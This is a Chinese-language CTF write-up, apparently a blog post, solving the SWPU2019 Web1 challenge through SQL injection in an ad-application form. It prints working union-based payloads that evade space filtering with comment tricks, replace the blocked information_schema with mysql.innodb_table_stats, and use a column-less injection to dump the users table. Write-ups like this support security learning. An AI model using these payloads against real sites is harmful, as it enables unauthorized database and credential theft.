[SWPU2019]Web1

 在这里试了半天sql注入没有什么,sqlmap也没有,那就注册一个账号试试,

 里面有一个广告申请,试一试这里有没有sql注入,

 我写空格进去被替换为空了,那就绕过一下空格

 输入#之后说有敏感词汇,那就是过滤了,那就用'来把后面的给闭合,

在我试到1,2,3,4,5,6之后还是说列数不同,我不想试了,就去看wp有几列,直接就是下一条,22列,这个作者是可以的,

 2,3可以回显

 当前数据库为web1,之后看表时发现information_schema表被过滤了,这里不会了,看wp

发现可以用mysql.innodb_table_stats表,但是这个表不储存列,所以看列的时候要另行他路

 这里我在database_name=后面用database()不行,必须是具体的数据库名,

-1'union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_index_stats/**/where/**/database_name="web1"'

但是当写成下面这样的时候,是可以用database()的,应该是后面那个单引号的问题

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

之后就是看列名了,属于无列名注入,就是先把查出来的列名起一个别名,再用这个别名来看里面的字段

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/web1.users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

这里为什么是三列呢,因为users表一般为id,username,password三列,而flag一般在username或者password

感觉一般这种有注册的,都不会在登陆或者注册页面有sql注入,都是里面的某一些有,所以就先不在外面费力了

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值